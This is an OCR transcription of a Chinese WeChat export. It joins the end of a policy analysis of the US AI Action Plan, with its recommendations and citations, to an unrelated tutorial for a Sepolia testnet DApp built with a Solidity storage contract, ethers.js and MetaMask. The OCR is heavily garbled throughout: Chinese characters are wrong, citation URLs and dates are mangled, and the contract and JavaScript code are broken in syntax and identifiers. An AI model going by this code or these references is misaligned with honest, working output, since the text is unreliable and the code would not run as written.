遇3。NAIRR试点项目承诺增加对关键且昂贵的计算资源的访问,从而在与大型现有 企业的宽争中创造更公平的环境。 表3:行业影响矩阵--《人工智能行动计划》的机遇与风险 该矩阵为不同行业提供了一个清晰、简洁且具有战略价值的总结,使任何行业的利益相关者 都能立即识别与其相关的关键机遇和威胁。 主要机通 主要风险 行业 放松管制的政策红利,合现成本降低, 可能的公众/政治反弹。开源扩教带来的国家 人工智/ 政府对基确设施/开源的支持。 大型科技 安全风陵。 知识产权经值,医未经许可的训练导致收入 大基出版商可从许可协议中获得新收 创意产业 人3,AI辅助创作工具的潜力。 失15,工作尚位流失,法理不确定性。 对新偿通(尤其是横前和可调度能源) 对现有基硅设施的压力,新明目可能遭通公众 能源与公用 1,电网现代化课目。 的巨大需求 反对。 事业 别练技工短缺5。供应链瓶颈。 数据中心、芯片工厂和发电厂建设热 建筑与制造 潮1 业 通过开源模型和计算资源降低进入门 竞争加剧,对大重科技公司控制的基硅设施产 风险投资与 初创企业 生依赖。 VI.战略风险与前瞻性建议 本报告的最后部分将综合分析结果,识别《行动计划》中固有的显关键战略风险,并为主墨 利益相关者提供可行的建议。

  • 识别关键脆转性:

。开源论:该计划在为促进创新面推广开源模型的同时,又试图通过出口管制防止技 术转移给对手,这是一个根本性的矛盾。这一战路既可能加速竞争对手的能力发展, 也可能被恶意行为者温用1 。版权反弹:以牺牲版权来换取创新速度的实际政策,在政治和经济上都是不可持续 的。它将引发长达数年的诉讼,与创意产业结下深怨,并可能被末来的立法或政府推 翻,从而造成巨大的不确定性19。 可能会疏远关键的民主盟友,导致全球技术格局的辞片化,并阻碍形成对抗威权主义 AI模式的统一战线。

  • 对利益相关者的建议:

。对政策制定者(国会):通过推进两党合作的立法,为人工智能和版权问题提供一个 清晰、平衡的联邦标准,以弥合行政与立法部门之间的分歧。这应建立一个许可和补 偿框架,为科技公司和创作者双方提供法律确定性,超越当前非赢即输的法庭斗争。 探索法定许可模式作为一种港在的折衷方案。 。对创意产业:团结一致,采取集体许可策略,以增强与AI开发者的谈判能力。倡导透 明度要求,确保AI公司技露训练中使用的效据。投资于内容水印和追踪技术,以执行 许可条款。继续进行战略性诉讼,以建立有利的法律先例。 对科技公司:主动进行善意的许可谈判,以降低开发风险并获得“社会运营许可”。大 力投资于数据来源追溯和过读工具,以避免使用盗版或未经许可的内容,因为这构成 重大的法律漏润1。参与制定行业范围内的技术标准和负责任AI开发的最佳实践, 以预先防范更严厉的政府监管。 Works cited

1. America's AI Action Plan: What You Need to Know | Shelly

Palmer, accessed July 25, https://shellypalmer.com/2025/07/americas-ai-action- 2025, plan-what-you-need-to-know/ Boost Data Center Trump's* AIAction Plan' Looksto PCMag. accessedJuly25, Buildouts,Ban AI 'Woke' 2025, https://www.pcmag.com/news/trumps -a1 -act1on-plan-looks- to-boost-data-center-bui ldouts-ban-woke-ai Trump Unve1ls Plan to Win AI *Race' by Loosening Regulation Time Magazine, passasse July 25, https://time.com/7304994/trump-ai-regulation-plan/ 2025,

4.Trunp7

AI Action Plan Charts Pro-Innovation Path Forward to Institute,accessed July25, Beat China RStreet https://wwer. rstreet.org/commentary/trump-a1-act1on- 2025, plan-charts-pro-innovation-path-forward-to-beat-china/

5. White House Unveils America's AI Action Plan, accessed July

,https://www.whitehouse. gov/art1cles/2025/07/wh1te- 2025, house-unveils-americas-ai-action-plan/ The White House, accessed July 25,

6. Anerica's AI Action Plan

https://www.whitehouse.gov/wp- 2025, content/uploads/2025/87/Amer1cas-A1-Act1on-Plan.pdf

7. White House Releases AI Action Plan: “Winning the Race - Paul

Hastings July LLP, passasse 25, https://waw. paulhastings.com/insights/client- alerts/white-house-releases-al-action-plan-winning-the-race- anericas-al action-plan

8.Noteworthy

CNAS, accessed July |America's AI Action Plan https://www. cnas.org/press/noteworthy/noteworthy- 2625, anericas-a1-action-ptan Unveils AI Action

9.White House

Plan Secure Global to July Dominance, accessed 25, https://govciomedia.com/white-house-unveils-ai-action- 2025, /asueutwop-1ego16 -ajn3as-o1-ue1d Trump's AI Action Plan Would Nuke Copyright Law,accessed 10. https://www.publishersweekly.com/pw/by- July 25, topic/digital/copyright/article/98276-trunp-s-ai-action-ptan- woutd-nuke-copyright-Law.htmt

11.Getting AI

companies to agreeto licensing deals with copyright owners is “not doable” and “China′s not doing it", 25, rambles accessed July https://completemusicupdate.com/getting-ai-companies- 2025, to-agree-to-Licensing-deals-with-copyright-owners-is-not- doable-and-chinas-not -doing-it-rambles -trump/

12. Trump AI Plan Would Penalize States with Regulations Deemed

accessed JuLy 25, 2025, https://ipwatchdog.com/2825/07/23/trunp-8i-plan- penalize-state-regulations-deemed-burdensome/id=1905597 Hawtey-Btumenthal Bitl Aims to Rein in AI Conpanies' Use of 13. Copyrighted Works, accessed July 25, https ://ipwatchdog. com/2025/87/22/hawley-blumenthal- 2625, bill -aims -rein-8i-companies-use- copyrighted-works/id=190527/ subcomponents WorldECR, accessed July 25, 2025,https://ww.worldecr.com/news/ai-action-plan-paves-way- for-new-controls-on-semiconductor-subconponents/ White House AI Plan on

15.Snow Lake Comments on Impacts of

Nuclear Energy and Domestic U.S. Stock Titan, July 25, https://www.stocktitan.net/news/LITM/snow-lake- 2025, comments-on-impacts-of-white-house-ai-plan-on-nuclear- v72xcmnp6cpb.htmt economic study shows human creators' future at risk from CISAC, generative AI accessed 25, July https : //wuw. cisac org/Newsroom/news - releases/global- 2025, intelligence technology Artificial pue in creative 17. new industries Parliament, July POST accessed 25, https://post.parliament.uk/artificial-intelligence-and- 2025, new-technology-in-creative-industries/ Security The Global Security Risks of Research Open-Source AI The Global Risks 18. Models, July 25, accessed https://www.globalcenter.ai/research/the-global- 2025, security-risks-of-open-source-ai-models Transatlantic AI Governance - Strategic Implications for U.S. 19. accessed July 25,2025,https://www.kslaw.com/news-

EU and-insights/transatlantic-ai-governance-strategic- Implications-for-us-eu-compliance White House outlines AI Action Plan to secure US leadership 20. accessed Intelligent July 25, CIO, 2025, https://www.intelligentcio.com/north- america/2025/07/24/white-house-outlines-ai-action-plan-to- secure-us-leadership/ White House to unveil plan to push US AI abroad,crackdown on 21. USAI rules,document shows | SemiWiki, accessed July 25, 2025, https://semiwiki.com/forum/threads/white-house-to- unveil-plan-to-push-us-ai-abroad-crackdown-on-us-ai-rules- document-shows.232227 White House unveils AI Action Plan -IAPP, accessed July 25, 22. https://iapp.org/news/a/white-house-unveils-ai-action- plan the What Real LawMeans for Deployments New 23. US AI July 25, NeuralTrust, accessed 2025, https://neuraltrust.ai/blog/what-the-new-us-ai-law- means Global AI Law Comparison: EU,China & USA Regulatory Analysis 24. Compliance Wiki, 25, July Hub accessed 2025, https://www.compliancehub.wiki/global-ai-law-snapshot- a-comparative-overview-of-ai-regulations-in-the-eu-china-and- the-usa/ AI regulation in the U.S. and EU- Carta, accessed July 25, 2025,https://carta.com/blog/ai-regulation/ Guidance from the Northern District of California - Quarles, 25, July accessed https://www.quarles.com/newsroom/publications/concerned 2025,

  • about-ai-training-data-and-copyrighted-works-new-guidance-

from-the-northern-district-of-california

27.Author:

theinvisiblestagehand Trichordist, accessed The July 25, 2025, https://thetrichordist.com/author/theinvisiblestagehand / 28. Training, the Licensing Mirage, and Effective Alternatives AI Support July 25, to Workers, accessed Creative 2025, https://www.techpolicy.press/ai-training-the-licensing- mirage-and-effective-alternatives-to-support-creative- workers/ Ultimate List Data of LicensingDealsfor Monda, 29. AI July 2025, accessed https://www.monda.ai/blog/ultimate- list-of-data-licensing-deals-for-ai accessed July 25, The licensing economy AI 30. CREATe, https://www.create.ac.uk/blog/2025/02/24/the-ai- 2025, licensing-economy/ Licensing content to AI firms is a new gold rush, accessed 31. July 25, 2025, https://contenseo.com/licensing-content-to-ai- firms-is-a-new-gold-rush/ Licensing Deals Between AI Companies and Large Publishers are 32. Probably Bad, 25, accessed July https://michaelweinberg.org/blog/2024/08/26/ai- 2025, licensing-deals-bad/ Licensing Use o Model Framework Scholarly 33. for a 25, Content in AI Tools, accessed July 2025, https://scholarlykitchen.sspnet.org/2025/02/26/we- could-use-a-model-licensing-framework-for-ai-tools/ Collective license for 0larteMoure AI training 34. Property. accessed Intellectual July 25, 2025, https://olartemoure.com/en/collective-license-for-ai- training/

35. CCC Launches Collective AI

License Copyright Clearance Center, July 25, accessed https://www.copyright.com/blog/ccc-launches-collective- 2025, ai-license/ House, for White offer Plans AI Contrasting 36. Senators PYMNTS.COm, Development accessed 25, July https://www.pymnts.com/cpi-posts/white-house-senators- 2025, offer-contrasting-plans-for-ai-development/ toAI Training:A Copyright Implications and Legal Responses 37. A Perspective July Chinese MDPI, 25, accessed https://www.mdpi.com/2075-471x/14/4/43 2025, China: landmark court ruling on copyright for protection 38. A AI-generated works, July 25, accessed 2025, https://globallitigationnews.bakermckenzie.com/2024/05/ 08/china-a-landmark-court-ruling-on-copyright-protection-for- al-generated-works/ China's Current Generative Regulations Group, MMLC AI 39. July accessed 2025, https://mmlcgroup.com/china-ai- regulations/ Navigating Challenges Training: Model Copyright in AI 40. A Perspective accessed Cross-Border KWM, July 25, https://www.kwm.com/cn/en/insights/latest- 2025, thinking/navigating-copyright-challenges-in-ai-model- training-a-cross-border-perspective.html

41. APRIL

42. 10, 2024 I. INTRODUCTION The Motion Picture Association, Inc.

("MPA")1 appreciates the opportunity to provide this st, July accessed 25, https://docs.house.gov/meetings/Ju/Ju03/20240410/117077 2025, /HHRG-118-JU03-20240410-SD001.pdf "This is a Connected Nation America's AI Action Plan: 43. on opportunity" ADVFN.com, urgency moment national of and July accessed 25, https://uk.advfn.com/stock- market/share-news/Connected-Nation-on-Americas-AI-Action- Plan-This/96491902 for US AI Leadership:Supporting Security, A Strategic Vision 44. Democracy and Global Prosperity | Wilson Center, Innovation, July accessed 25, 2025, https://www.wilsoncenter.org/article/strategic-vision- uS-ai-leadership-supporting-security-innovation-democracy- and-global

原始排版图

美国人工智能行动计划:一项关于放松管制、版权模糊化及新地缘政治格局的战略分析:微信公众号导出原始排版图

Sepolia ETH & BSC 測試網 DApp 範例開發指南

· 閱讀時間約 23 分鐘
w0x7ce
MySelf

发布于 2025-07-24 13:32:28(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 16120 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

original wex7ce EI V1ajero 2025年7月24日 13:32 日本

Sepolia ETH 湖试端 DApp 最例

暂地合的亚助

这份指南提供了一個基本的去中心化愿用程式(DApp)笔例,它可以在Sepolia ETH 或 BSC 测試细上與您的 MetaMask 包互動,亚讀取、寫入一個简单的智能 合约。為了確保所有功能正常逼作,本能例要求您遗退胡页伺服器(例如Python的 http.server)来防間index.htnl槽案,面非直接闻它。

一、智能合約(Smart Contract)

我仍使用一個名為SimpLeStorage 的智能合的,它能存一信數字允許您修改它。

1.合的程式碼(SimpleStorage.sol)

幅将以下程式钙檀裂到 Rcmix IDE 中。 Solidity // SPox-License-Identifier: HIT 1指定Solidity 编器的阅原可超码HIT pragna solidity ~0.B.B:// 瘤定 Solidity 版本为 9.8.0或更高 //定效一留名為 Sinmple5tarage 的合的 contract Simplestorage { uintpubLicmyNumber://宣告一需公阅的屏符劈整数曼数nylumber。用约锅存影 //建携子(constructor):合的部署會自勤快行一次 //接收一留初始数字作态参数,游其提定绍myliumber constructor(ulnt _initiaLNumber) myMunber = _initialNumber; //setNunber 函数:用於段定nyNunber 的新信 //public黑键字表示此函数可以提外部呼叫 function setNunber(uint _newNunber] public ( myNumber = _newNumber; //gctNunber 函数:用於取得myNumber 的需敬信 //pubL1cV1ev照键字表示此函数可以外部呼叫,且不鲁绿改合约的状息(只额) //returns(uint)表示此函数童回薄一留無符號整数 function getNunber() public view returns (uint) ( return nyNunber;

2.合的部署步跟

1.用敏 RenixIDE:在您的测宽券中前往https://remix.ethereun.org/-

建立新權案:在左侧的案探查器中,點型contracts调料爽旁的新案,示,命名 2. 增案為 SimpleStorage.sol。

3.贴上程式碍:上述SimpLeStorage.sol 的程式确贴入新建立的糖案中。

4.编合的:

  • 贴型左倒幕航相的 SolLidity 标器图示(适常是锰像三角形的盈示)。

o确保Comp1ler;版本奥您的pragna soL1dity ~0.8.e;相符(例如0.8.x) 胎型“Compile Simplestorage.sol”按祖。硫保下方控制台有联。

1.部署合的:

贴聚左例尊航椭的部署與通行交易图示(通常是恒以太坊喆)。 在“ENVIRONMENT’下拉避甲中,还播“Injected Provider -MetaMask"。 保您的 MetaMask 包已速结到 Sepolia Test Network, 在“coNTRACT”下控逻平中,退摄 SimpleStorage。 在“Deploy*按經旁遗的翰入框中,為canstructor 参敏输入一個初始数字(例如 100 ) 。 贴攀“DepLoy”按翘。您的MetaNask錯包售弹出一储交易随视窗,随业支付 Gas 费用(需有 Sepolia ETH). 。部墨成功,Renix介面下方“DeployedContracts”%會示您的合的實例。礼 道债合的地址,我们将在前端程式码中使用它。

二、前端程式碼(Frontend Code)

這份index.htnl 案包含了终真的结(HTML)、楼式(CSS)以及 HctaMask 和智能合 約互的 Javascript 遵帽。

1.網页程式碼(index.html)

幅将以下完整的程式碼拖聚虽存為index.html噻案。 重要提示:務必JaVaScript 區境中的CoNTRACT_ADDRESS替换為您實膝部署的合的地 址1 TWIH <1D0CTYPE htnl> clueH-4z,=Buel [u14x cheads cmela charsel="UTF-8"> cncta nane=vicwport" content="width-devicc-vidth, initial-scalc= <title>Sepolia ETH 期抗响 DApp 例</title> sstyles /基础稼式:般定字體、依局、背景颜色和基本文字颜色/ body{ font- family: -apple-system, BlinkMacSystemFont, Segoe UI display: flex; justity-content:center:/水平居中/ align-llems: center; 垂直居中*/ hcight: 168vh; 店济整西视留亮度 nargin: 0; background-ralar:eef2f7:/淡整色商景*/ 容器模式:卡片式依局,包含影和盈角* ,containcr ( text-align: center; 文字居中對 padding: 48px: background-color: white; border-radius: 12px: box-shadpw:@4px 12px rgba(e,a,@,0.1); / M影效果 t/ (xdce a44pIA-xeu (x0005 :410TM-xeu 最大宽度* width: 90%: 康式宽度* 德题稼式 hl{ h1 calor:B27EEA;/以太坊蓝色/ nargin-bottom: 20px; 按扭模式1 button( background-color:#627EEA:/以太坊菌色*/ color: white; border: none; padding:12px 25px;/内遗距 font-size: 15px; font-woight: bold; border-radius: 8px: cursor: pointer; transition:background-color @3s, opacity 9.3s;/* 追游效: nargin:16px5px;/外遗距/ /按纽滑品照停效果“/ button:hover:not(:disabled) { background-calar: 4ab7de: 禁用按招裱式* hutton:disabled { opacity: B.6; cursor: not-allowed; 数字输入程槎式* } [,Jaqwnu,=adA1anduT padding: 18px: border: lpx solid #ccc; border-radius: 5px; font-size: 16px; nargin-right: 10px; width: 150px: box-sizing: border-box; 遇框和填充包含在宽度内*/ 资研和合约互数区填标式*/ info, #contrartInteraction { nargin-top: 25px; text-align: lett; 文字在数否* mord-break: break-all; 長文字自数预行*/ border top: 1px solid eee; /* 上造框*/ padding-top: 20px; 请讯盛增内的段落式“/ into p. #contractInteraction p re xdat :ur6ieu font-size: 15px; 照息提示模式*/ message ( nargin-top: 150x; font-weight: bold; .error color: #dc3545; 成功讯息费色 success { color: #28a745; 曹告讯息颜色 / .warning ( color: #ffc137; 合约盛域的特定样式*/ .contract-section { border:1px dashed #527EEA;/*虚综造框×/ Ixdst :outpped border-radius: 8px; xdez :da1-ui61en background-color: wf7faff:

1.0 2

} ≤/stylea c/heads <body> sdiv class=*container"> <h1>Sepolia ETH 测就娠 DApp 颤例</h1x 108 <p>贴翠下方按钮速能您的 MetaMask 包榆查路。</p> <hutton in="connectButton>速能到 MetaNasks/buttonx <div 1d-*info">

1. 1 ]

<p 1d=status* class=*message"s糖:未建结</p> L 1 2 <p id==chain"class="nessage">频路:未知</p> <p 1d-account>幅户:未速结</px cp 1d=*balance'>m辅: N/A</p> 1 1.5 </div> xdiv id-*contractInteraction" style-display: none;> 1 17 ch2>智能合的互数/h2 sdiv class="cantract-section"> cpxcstrong>合的地址:</strong> cspan id-"contractAddress

1. 2 ]

sbutton id=getContractNumberButton">更新含的数字</hutt( </divx 25 cdiv class="contract-section" style='nargin-top: 15px;"> ch3>设定新数字</h3> cinput type-nunber" id="neuNunberInput" placeholder- <button id=setNunberButton>故定数字</button> sp id="setNunberstatus" class=nessage"ss/p> 2 ≤/divs 131 cscript src=https://unpkg-con/ctherse5.6-o/dist/ethers.und.min.j .3 Z <scripts //取得页面上的HTHL 元素,以便在Java5cript中操作它罚 const connectButton = docuncnt.getElenentById['connectButton' const statusEl = docunent.getElementById('status'); 3 const balanceEl = docunent.getElenentById('balance'); 139 //智能合的互動相期的HTHL元素 const contractInteractionDiv = docunent-gctElementById(*contr. 142 Const currentContractNunber = document-getElementById(curren 1 4 5 Const setNunberButton = documenl.getElenentById(setNunberBut //Sepo(la潮试钢路的鲜寶现 146 //包含Chain ID(11155111 的十六遵别表示)、路名幂、原生贺磨和 RPC/ const scpoliaTestnet = { //1l155ill In hexadecinal chainId: Axaa36a7, 15 1 nativeCurrency: { nane: 'Sepolia ETH', 154 ‘HL3, :1oqus decinals: 18 }. rpcurls:[https://rpc.sepelia.org/], // 拉m的 RPC URL blockExplorerurls: [https://sepolia-etherscan-io] 159 }: //!1!請用念部署在 SepoTia上的 SinpleStorage 合的地址替换此露!!! // 这显岗能的智能合的互融的照盘,整例增址:0xED143bc4563F9235fB4837F) ConSt CONTRACT_A00RESS = exED143bc4B63F9235fB4837F2E8A56088D //SinpleStorage 合的的 ABI (Application Binary Interface 11ABI接述了合的有感些函数,它们的参数和回傅值,是前端员合的互融的”就蜗通 6 "constructor{uintzss)", //合約建子

  • function myNunber() view returns (uint256)", // myNunber

  • function setNumber(uint256 _neuNunber)",

// 设定 nyiunbe 11取得nyN

  • function getNumher() view returns (uintz56)"

Let provider://ethers.js 的 Provider 物件,用於取区炼资料 let signer; 1ethers.js 的 signer 物件,代表践包账户,用於签墨交 let sinplestorageContract;// cthers.js 的 Contract 意例,用於尚 南戴人和MetaMask初始检查-- 11當00H内容完全载人後纳行此函数 docunent.addEventListener('DoMContentLoaded', () => { //检查密宽群是否安装了MetaMask(windov.ethereun 是否存在) 7 if (typeof windou.ethereum sss *undefined *){ statusEl.textContent-‘雷媛:先安装MetaMask 外排程式! statusEl.classNane = 'message error': 18 1 connectButtan.disabled =true;// 禁雨速结按钮 )else {

1.83

// 如果 MetaMask 已安装, 邵始化 ethers.js 的 Provider 和: l1道必须在任何需要使用ethers物件的地方之前就行 provider = new ethers,providers.Meb3Provider(window.e slgner = provider.getsigner(): checkInitialConnection(]:// 拾亚MetaMask 的初始速然就息 11检查合约地址是否已正碟段定 if (cONTRACT _ADDRESs === 'BxYaurDeployedContractAddressHe contractInteractionDiv,style.display = block; // 8 contractAddressDisplay.textcontent=在程式码中勘定正 6T getContractNunberButton.disabled = true; consble.errar(*请在 index.html 中最定正键的 coNTRACT ADDl )clsc { contractAddressDisplay .textContent = CONTRACT_ADRESS

1.99

//栖查MetaMask的初始速结然息 20 2 async funclion checkInitialconnection() { try ( 20 5 //宣试取得MetaMask 已授楼的物户列表 const accounts = await windou-ethereum.request(f meth: if (accounts,length > θ]{ //如果有贴户已速结 await updateAccountInfa(accounts[a]):// 更新户资 connectButton.textContent =已速’: connectButton.disabled = true; 211 statusEl.textContent =“快愿:已”; statusEl.classNanc = *nessage success′; 214 awalt checkNetwork(); //徐查钢路 await initializeContracti):// 初始化合的實例 contractInteractionniv.style.display = *block': 217 1a51a{ statusEl.textContent=“:末通”; 18 statusEt.classNane = *nessage': } } catch (error) { consple,error(“初始进输查失股:",error); statusEl.textContent-‘糖:柚音失败。'; statusEl.ctassNane = *message error': MeTaMask 速然通辑

1)鲨速结按扭被贴影时解登

connectButton.addEventListener('click', async () => { if (typeof window.ethereum === undefined'){ statusEl.textContent =‘娱:蜡先安装MetaHask 外拼程式! statusEl.classNane - 'message error'; 23 2 return: try ( 11請求用户授增速结他仍幅户,MetaMask鲁弹出视窗碾用户确 const accounts = await windou.ethereum.request(f neth /1取得第一留速结的板户 const account = accounts[θ]; aiwalt updateAccountInfo(account);// 更新概户弯据 2 4 1 statusEl.textContent=题:已速; 1, ssaaens sbessau, = auenssela' lasnie1s connectButton.disabled = true; aWait checkNetuork(): //检查烫路 await initializeContract();// 初始化合的宽例 247 contractInteractionDiv.style.display = *block; // : 248 } catch (error) { console,error(“结失脏:,error); statusEl.textContent=娱:使用晋拒了速家或瘤生辑 5 1 statusel.classNane = 'message errbr'; }1: 11更新页面上的幅户地址和解额资讯 async function updateAccountInfo(account)( try ( //使用ethers.js provider 取得户额(以Wei为單位) const balanceliel = awalt provider-getBalance(account) //使用ethers.js 將Wei 磷搬為 ETH 單位 const balanceEth = ethers.utils.formatEther(balanccwe. balanceEl.textContent = *除: s<parseFLoat(balanceEth }catch (error){ console,error(*取得额失:,crror);

//柚查蓄前通接的期器是否母Sepol1a弱试蜗 async function checkNetuork() { try ( l1使币ethers.js provider 取得蓄前剪路瘦职 const network = await pravider-getNelwork(): //等Chain I0 聘换為十六道制字串以便scpoliaTcstnct,cho if (currentChainId ↓== sepoliaTestnet.chainId) { //如果的期路不是5cpoli0 chainEL.textContent=“路:目前在 ChainID ${netwol chainEl.classNane = *message warning′: awalt switchNetwork(); //音就自敏切换蜗络 }else{

2.8 1

chainEl.textContent = *M陷: Sepolia 武 [ChainI ZR chainEl.classNane - *message success'; } catch (error) { console.error("植查路失脓:",error); chainEl.textContent=螺路:無法取得路默题。 : chainEl.classNane = 'message error' : //切换或新增 Sepolia 解路到 MetaHask async function switchNetwork(1 { 29 2 try{ /1發送請求膜MetaMask 切换到 SepoTia 细路 aWalt window.ethereum.request(( params: [{ chainId: sepoliaTestnet,chainId }], awa1tcheckNetuork()://切模成功後再次检查照路 }catch (switcherror) { //如果用户罐包撑证有5epoL1a操然(猫娱代码4902) 801 If (switchError.code === 4902) { try{ //首就引海用户新增 Sepolla纲路 await window.ethereun.request[{ method: wallet_addEthereumchain, parans: [sepoliaTestnet] , 308 ): awaitcheckNetwurk)://新增成功烫再次检查细路 }catch (adderror){ console.errort"新增 Sepolia 蚂路失收:", addErrol 311 chainEl.textContent =‘請:新增Sepolia 紫路失! chainel.classhame -nessoge error’; 313 }else { console.error(“增器失股:",switchError); B 16 chainEL.textContent=:切措路失败。; 317 chainel.classNane = *message error';

智能合的互動遥帽 323 /1初始化智能合约實例 async function initiatizecontrart() { 824 //只有在cthcrs.js 和NetaMask 都率好時才耀 If (typeof ethers =-= 'undefined ll typeof windou-ethere consnle.errar(Ethers.js 或 MetaMask 未贩入。無法初给化合 return; 11再次检重合的地址是否有效 if (CoNTRACT_ADDRESs =-= 'BxYourDeployedContractAddrcssHc console.error("合約地址未融定或無效,法初始化合的。); currentContractNumber, textContent =名的地址效 1; EEF currentContractNunber,classNanc = ‘crror'; return: 3 3 5 I1重新扔始化providcr和 signcr 以致保其是最新的默感 provider = new ethers.providers.Meb3Provider window. ether signer = provider-getSigner(): SEF [建立合的震例:使用合的地址、ABI和 signcr。 //signer 用於需要答署交易的高入损作,provider 可用於只罐操作, 341 sinpleStorageContract = mew ethers.Contrart CoNTRACT ADDR console.log{“合約言例已初始化:,sinplestoragcContract); 343 amalt getContractNumber(1://劲始化後立即取得合约中的数字 344 45 346 /1整融“更新合的数字”按超的验聚事件 getContractNumberButton.addEventListener( 'cl1ck', getcontract) //提智能合的中取得ntylunber的值或题示 4 async function getcontracthumber(){ 349 1f(!sinplestoragecontract] 35@ currentCantractNumber.textContent=音的木载入或木連 currentContractNunber.classNanc = ‘crror′; 353 return: try ( currentContractNunber.textContent -MA中...; 85 11呼叫合的的 getNuuber 方法(道是只鼠操作,不消耗Gas) .5 const number = await simpleStorageContract.getNunber{ 858 359 currentContractNunber.textContent - number.toString() currentContractNunber.classNane = success: }catch (error) { console.error(“取辑合的数字失胜:,error); currentContractNumber. textContent =*R得失歌。: currentContractNunber.classNane = ‘error′; //整融“般定数字”按超的贴影事件 setNunberButton.addEventListener(*click', async () => { 868 If(!sinplestorageContract]{ setNumberStatus.textContent=合的未飘入或未MetaMas setNumberstatus.classNane -"nessage error'; return: 72 const newNumber - parseInt(newNunberInput.value); // 取得弗 3 74 /1检查输人是否为有效且非负的整数 if (isNaN[newlumber) II newMunber < B) { 7 setNumberStatus.textContent-情入一個有效的非蔡! 78 return; setNunberStatus.textContent=“正在發送交易,請在 HetaMask 中 setMunberStatus.classNane = message warning′: try( 883 11呼叫合的的 setNumber 方法。造會建立一需交易,需要用户在Me1 const tx = await sinpleStarageContract.setNumber(newf setNumberStatus.textContent -交易已叠送!漆(Hash): setNumberStatus.classNane = nessage success"; cDnsple.lag("安易神=",tx.hash]; walt tx.walt();//等待交品被研工磁超业包含在区熄中 setNumberStatus.textContent=交易成功!新数了:${newNu 6E setNumberStatus.classkane = "nesage success; awaitgetContractNumber();// 交易成功後,别斯夏面顾示的合: 39 2 } catch (error) { consble.errar(“设定数字失败:",error); if (error.code =-- 46e1){ }else { setNunberStatus.textContent=‘定慰字失履,直看控 setNumberStatus.classkane = nessage error; 48 402 MetaMask 事件酯器 // //监融HctoMask 板户始更事件 484 If(Mindow.ethereun){ 405 Mindow.ethereum.on(*accountsChanged’, async (accounts) => if (accounts.length === θ){ //如果用户在MetaHask中断罚速结或切换到疫有标户的蜗路 408 statusEl.texLContent =“愿:末”; 1abesseu, - auensseno'1asnse15 411 balanceEl.textContent =“鲁: N/A′: connectButton.textContent =结到 MetaMask; 413 connectButton.disabled = false; chainEl.textContent =陷:末知; chainEl.classNane - *message'; 416 contractInteractionoiv.style.display = none: // 1 1 7 setNumberStatus.textContent =**; 419 }else { //幅户要更,量新初始化providcr/signer 更新资讯 provider = new ethers.providers Web3Provider(wind 2 Z signer = provider.getSigner(); swait updateAccountInfo(accounts[8]); awalt checkNetwork(): await initializeContract():// 重新初始化合的實例,以 12 ( contractInteractionniv.style.display = *block′; 428 12 9 //监MetaMask颠路更事件 window.ethereum.on(*chainchanged, async (chainId) => { 11舅路變更,重新初始化 provider/signer provider = new ethers.providers.Meb3Provider(windrw,e signer - provider.getsigner(); 434 awalt checkNetuork[):// 拾查新的照路是否為 Sepolia awalt updateAccountInfo(window.ethereum selectedA await initializeContract()://重新初始化合的宽例,因为 contractInteractionDiv,style.display - *block°; ) : 4 c/scripts </body> s/htnl>

三、開發環境举備與設置

1.HetaMask 包:硅保您的测置器已安装HctaMask 撰充功能,亚已建立或匯入帐户。

2.Sepolia ETH 测试带:请透造 htLps://sepaliafaucet.con/ 取得一些 Sepalia

测试用的ETH,以支付部署合的和發送交易所需的Gas费。

3.Renix IDE(端上整合阳聚境):https://remix.ethereun-org/,用龄编寡、编莲

及部署智能合的。

4.Python 真伺服器:

為何需要?由於测質器的安全策略(CORS限制),直接本地穆案系统開 index.htnl 可能會限制某些JavaScript 功能(特别是與 MetaMask 的互勤)。透 通一但商單的本地解真何服器访間,可以逐免道些間题。 。設置步骤:

1.打需您的命令提示字元(Windows)或端(macOs/Linux)。

2.使用cd命令切换到您储存index.htnl榴案的口绿。例如:

Bashcd path/to/your/dapp folder

3.瓶行以下Python 命令敛動一错始易的胡页伺服器:Bashpython-m

http.server 89ee如秉您没有安装 Python,也可以使用其他触易的 HTTP 何服 卷。例如: Node.js 用户:安装 http-server [npn install -g http-server), 然在目中通行http-server-p 8e8

  • VS Code 用户:安装Live Server 蕴充功能,然後右键后壁1ndex.html

遇摄“open with Live Server*,

1.何服券物後,您言在端概卷到類似 Serv1ng HTTP on 8.e.0.0 port 8090

(http://9.θ.0.8:80B8/)...的息.

四、使用舆测試步骤

1.前量举借

  • 完成上述「三、即發璟境准需與設置;中的所有步股。

  • 保您已index.html 中的 cONTRACT_ADDRESS警换為您部署在 Sepolia上的實

限智能合的地址。

2.通行 DApp

  • 在您的测暨器中,防間何服器提供的位址

通常是 http://localhost:80o9/1ndex.htnl (如果您使用 VS Code 的 Live Server,它育自動态您打奥页面)。

3.功能测试

可以熟行的主要功能:

1.速结HetaMask 镀包:

“建结到MetaHask”按訊。

  • 黏墨页面上的

MetaNask曾弹出提示,要求您授耀速结细站與您的疑包帐F。 。预期行為:页面會额示思的帐户地址、餘额和目前的细路状感。按照文字将竖為!已通 结,亚盘為禁用状感。

1.自助检查奥切换斓路:

o如果您的MetaMask 富前摘路不是SepoL1a,DApp 提示您需要切操。 预期行為:贴提示後,MetaHask鲁弹出视窗引尊您切换到 5epalia测试间。成功切 换後,真面會示「细路:Sepolia 测试细.如果MetaMask 中波有 5epolia 细路 配置,它會引遵您新增。

1.示合的地址及目前存的数字:

成功速 MetaNask亚随在 Sepalia 網路後,真面會示您在程式碼中设定的合的 地址。 预期行為:真面上的目前能存的数字(myNumber)會自勤示智能合的中myNunber 的初始值(您在部暑助设定的数字)。

1.刷新合的数字:

贴聚“更新合的數字“按钮。 。预期行為:DApP 會再次提區规链请取myNunber 的值,亚更新页面示。

1.股定新数字(寫入交易):

在“输入新数字(整數)“输入框中键入一四新的数字(例如209)。 。贴聚“設定数字”按钮。 预期行為:MetaHask鲁弹出交易确視面,题示交易详情和预估的Gas用。硅交易 後,真面會示交易發送成功的提示(包含交易继烫),等待交易被區埋致後,页面上 的“目前存的数字,會自動更新为您定的新值。

1.HetaMask 畅户或斓路更睿意:

在DApp 開敏的情况下。打開 MelaMask播件,手勤切换到另一個帐户或不同的细路 (例: Ethereun Mainnet ), 。预期行為:DApP 真面會自勤核测到盘化,亚更新显示的帐户地址、除髓和细路状感。如果 切换到非 SepoLia 蜗路,DApp 官再次提示您切换回来。 国 Sepolia ETH 湖武橘 DApp 能例 交县清求 M9T3 SE19E6S- 8938 :

智能合的烈助

